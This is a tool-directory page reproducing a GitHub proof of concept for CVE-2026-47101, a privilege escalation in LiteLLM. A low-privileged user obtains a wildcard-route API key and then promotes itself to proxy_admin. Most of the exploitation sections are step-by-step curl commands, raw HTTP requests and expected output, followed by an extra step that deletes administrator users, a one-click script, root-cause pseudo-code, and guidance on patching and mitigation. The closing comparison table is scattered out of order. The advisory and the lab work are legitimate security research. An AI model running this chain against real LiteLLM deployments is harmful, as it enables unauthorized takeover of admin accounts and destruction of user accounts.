Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-47101-PoC — The code for personally reproducing the corresponding vulnerability | Kitploit
Tools/GitHubGitHub/learner202649/cve-2026-47101-poc
Authentication & AuthorizationPrivilege EscalationVulnerability AnalysisExploitationWeb Application ExploitationAPI Security TestingPenetration TestingMisconfigurationLearning & EducationLabs & Practice
GitHublearner202649/cve-2026-47101-poc
63 months agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2026-47101-PoC

The code for personally reproducing the corresponding vulnerability

View Repository

CVE-2026-47101 — LiteLLM Privilege Escalation via /key/generate + /user/update

LiteLLM v1.82.6 (before v1.83.14) /key/generate endpoint allows low-privileged internal_user to request an API key with wildcard routes ["/*"], and then elevate their own role to proxy_admin via the /user/update endpoint, achieving unauthorized privilege escalation.

FieldValue
CVECVE-2026-47101
CVSS v3.18.8 (HIGH) — AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
CWECWE-863 (Incorrect Authorization)
AffectedLiteLLM < 1.83.14 (confirmed on v1.82.6)
Fixedv1.83.14+ (added allowed_routes role validation)
Published2026-05-21
Discovered byFenix Qiao (13ph03nix) — Obsidian Security
LinksNVD

Description

LiteLLM's /key/generate endpoint is used to generate API keys, and /user/update is used to update user attributes. The authorization checks for these two endpoints have three coherent flaws that can be chained by a low-privileged user:

  1. /key/generate does not validate allowed_routes — any role (including internal_user) can request ["/*"] wildcard routes
  2. Route check falls back to allowed_routes wildcard matching — the generated wildcard key can access all administrative endpoints
  3. /user/update allows self-modification of the user_role field — using the wildcard key, the user can elevate their own role to proxy_admin

Attack Chain

root@kitploit:~
internal_user
  →  POST /key/generate  {"allowed_routes": ["/*"]}
  →  Obtains wildcard API key
  →  POST /user/update   {"user_id": "...", "user_role": "proxy_admin"}
  →  Role elevated to proxy_admin
  →  GET  /user/list     (using wildcard key)
  →  Verifies admin access

Proof of Concept

Environment Setup

root@kitploit:~
# 1. Start PostgreSQL + vulnerable LiteLLM (v1.82.6, pinned digest)
docker compose up -d litellm

# Wait for service to be ready (approx. 10-30 seconds)
sleep 15

Verify Service is Running

root@kitploit:~
# Check container logs
docker logs litellm-privesc 2>&1 | tail -10

Expected output should contain startup logs such as Uvicorn running on http://0.0.0.0:4000.

Step 1: Create an internal_user Account

Use the master key to create a low-privileged internal_user account:

root@kitploit:~
curl -s -X POST http://localhost:4000/user/new \
  -H "Authorization: Bearer sk-litellm-master-key" \
  -H "Content-Type: application/json" \
  -d '{"role": "internal_user"}'

Expected output:

root@kitploit:~
{"user_id":"xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx","key":"sk-xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"}

Note the returned user_id and key; they will be needed in subsequent steps.

Step 2: Generate an API Key with Wildcard Routes

As internal_user, call /key/generate to request an API key with ["/*"] wildcard routes:

root@kitploit:~
# Replace sk-internal-user-key with the key obtained in the previous step
curl -s -X POST http://localhost:4000/key/generate \
  -H "Authorization: Bearer sk-internal-user-key" \
  -H "Content-Type: application/json" \
  -d '{"allowed_routes": ["/*"]}'

Expected output:

root@kitploit:~
{"key":"sk-xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx","allowed_routes":["/*"]}

⚠️ Vulnerability Point: internal_user successfully generated an API key with ["/*"] wildcard routes! This key can access all administrative endpoints, including /user/update, /user/list, etc.

Step 3: Privilege Escalation to proxy_admin

Use the wildcard route key to call /user/update and elevate the user role to proxy_admin:

root@kitploit:~
curl -s -X POST http://localhost:4000/user/update \
  -H "Authorization: Bearer sk-wildcard-key" \
  -H "Content-Type: application/json" \
  -d '{"user_id": "your-user-id", "user_role": "proxy_admin"}'

Expected output:

root@kitploit:~
{"user_id":"xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx","data":{"user_role":"proxy_admin",...}}

⚠️ Vulnerability Point: user_role has been changed from internal_user to proxy_admin! The /user/update endpoint allows a user to modify their own user_role field without any privilege restrictions.

Step 4: Verify Administrator Access

Verify the role escalation by accessing the /user/list endpoint:

root@kitploit:~
curl -s -X GET http://localhost:4000/user/list \
  -H "Authorization: Bearer sk-wildcard-key"

Expected output:

root@kitploit:~
{"users":[{"user_id":"xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx","user_role":"proxy_admin",...}]}

The /user/list endpoint is only accessible to the proxy_admin role. Successfully retrieving the user list confirms that privilege escalation has taken effect.

Step 5: Extension — Delete an Administrator User

Using the obtained proxy_admin privileges, arbitrary users can be deleted via /user/delete:

root@kitploit:~
curl -s -X POST http://localhost:4000/user/delete \
  -H "Authorization: Bearer sk-wildcard-key" \
  -H "Content-Type: application/json" \
  -d '{"user_ids": ["user-id-to-delete"]}'

Expected output:

root@kitploit:~
1

One-Click Reproduction

The above steps have been consolidated into demo.sh, which can be executed directly:

root@kitploit:~
# Full reproduction (includes steps 1-5)
bash demo.sh

# Also test against the fixed version for comparison
bash demo.sh --fixed

Fixed Version Verification

Start the fixed version (v1.83.14-stable) to verify that the vulnerability has been patched:

root@kitploit:~
# Start the fixed version
docker compose --profile fixed up -d litellm-fixed

# Wait for readiness
sleep 15

Create an internal_user:

root@kitploit:~
FIXED_USER_KEY=$(curl -s -X POST http://localhost:4001/user/new \
  -H "Authorization: Bearer sk-litellm-master-key" \
  -H "Content-Type: application/json" \
  -d '{"role": "internal_user"}' | \
  python3 -c "import sys,json; print(json.load(sys.stdin).get('key',''))")

echo "Fixed user key: $FIXED_USER_KEY"

Attempt to generate a wildcard route key (expected to be blocked):

root@kitploit:~
curl -s -X POST http://localhost:4001/key/generate \
  -H "Authorization: Bearer $FIXED_USER_KEY" \
  -H "Content-Type: application/json" \
  -d '{"allowed_routes": ["/*"]}'

Expected output (fixed version blocks unauthorized request):

root@kitploit:~
{"error":{"message":"Not allowed","type":"auth_error","code":"403"}}

Comparison with the vulnerable version:

Test ScenarioVulnerable Version (v1.82.6)Fixed Version (v1.83.14)
internal_user requests

Vulnerable Endpoints

POST /key/generate

Generates a new API key. The allowed_routes parameter is used to restrict the list of endpoints the key can access.

FieldTypeRequiredDescription
allowed_routesarrayNoList of allowed routes, e.g., ["/*"] for all routes

POST /user/update

Updates user attributes, including the user_role field.

FieldTypeRequiredDescription
user_idstringYes

Exploitation Technique

Step 1: Generate an API Key with Wildcard Routes

As internal_user, call /key/generate requesting a key with ["/*"]:

root@kitploit:~
POST /key/generate
Authorization: Bearer sk-internal-user-key
Content-Type: application/json

{"allowed_routes": ["/*"]}

The response contains a new API key with wildcard route privileges.

Step 2: Elevate Role to proxy_admin

Use the wildcard key to call /user/update:

root@kitploit:~
POST /user/update
Authorization: Bearer sk-wildcard-key
Content-Type: application/json

{"user_id": "target-user-id", "user_role": "proxy_admin"}

Step 3: Verify Administrator Privileges

root@kitploit:~
GET /user/list
Authorization: Bearer sk-wildcard-key

Root Cause Analysis

The vulnerability stems from three separate missing authorization checks:

1. /key/generate — Missing allowed_routes role validation

The /key/generate endpoint accepts the allowed_routes parameter and directly associates it with the key, without validating the requester's role. Even an internal_user can request administrative-level route privileges.

root@kitploit:~
# Vulnerable pseudo-code — No role check
@app.post("/key/generate")
async def generate_key(params, user_api_key_dict):
    # Only validates the API key validity
    # Does not check if user_role is allowed to request allowed_routes
    allowed_routes = params.get("allowed_routes", [])
    new_key = create_key(user=user, allowed_routes=allowed_routes)
    return {"key": new_key}

2. Route Authorization Falls Back to allowed_routes Wildcard Matching

When checking route permissions, if the user role-level authorization check fails, the middleware falls back to checking the API key's allowed_routes list. Since ["/*"] matches all routes, all administrative endpoints are allowed.

root@kitploit:~
# Vulnerable pseudo-code — Route check fallback logic
async def authorize_request(request, api_key):
    # Falls back to allowed_routes after user role check fails
    if not user_role_authorized(request, api_key.user):
        # Check allowed_routes — ["/*"] matches everything
        if not any(match_route(route, request.path) for route in api_key.allowed_routes):
            return HTTP_403
    return HTTP_200

3. /user/update — Allows Self-Modification of user_role

When updating user attributes, the /user/update endpoint allows a user to modify their own user_role field without restriction. Only the proxy_admin role should have permission to modify user roles.

root@kitploit:~
# Vulnerable pseudo-code — No restriction on user_role modification
@app.post("/user/update")
async def update_user(params, user_api_key_dict):
    user_id = params.get("user_id")
    updates = {}
    if "user_role" in params:
        updates["user_role"] = params["user_role"]  # No permission check!
    update_user_in_db(user_id, updates)
    return {"user_id": user_id, "data": updates}

Patch Analysis (v1.83.14)

The fixed version adds authorization checks in the following three areas:

  1. /key/generate — Added validation of the allowed_routes parameter: regular users cannot request administrative-level route privileges
  2. Route Authorization — Fixed the fallback logic to ensure user role checks take precedence over allowed_routes
  3. /user/update — Restricted modification of the user_role field: only proxy_admin can modify user roles

Repository Structure

root@kitploit:~
CVE-2026-47101/
├── README.md                               # This file
├── CVE-2026-47101_漏洞复现报告.docx          # Reproduction report (Chinese)
├── docker-compose.yml                      # PostgreSQL + vulnerable/fixed LiteLLM
├── config.yaml                             # LiteLLM config with database connection
├── requirements.txt                        # Python dependencies
├── demo.sh                                 # One-click reproduction script
├── exploit/
│   ├── exploit.py                          # Python exploit script
│   └── payload.py                          # Payload builders
├── docs/
└── screenshots/

Mitigation

  1. Upgrade to LiteLLM v1.83.14+ (fixed authorization checks)
  2. Restrict API key privileges — enforce least privilege for allowed_routes
  3. Audit existing users and keys for signs of privilege escalation
  4. Monitor /user/update calls with user_role changes for anomalous activity

References

  • NVD Detail
  • GitHub Security Advisory
  • Obsidian Security Advisory

Disclaimer: This content is provided for educational purposes and authorized security testing only.

Download Tool
["/*"]
✅ Successfully generated wildcard key
❌ Blocked (HTTP 403)
Wildcard key modifies user_role✅ Successfully elevated to proxy_admin❌ Blocked
Wildcard key accesses /user/list✅ Successfully retrieved user list❌ Blocked
ID of the user to update
user_rolestringYesNew role (e.g., proxy_admin)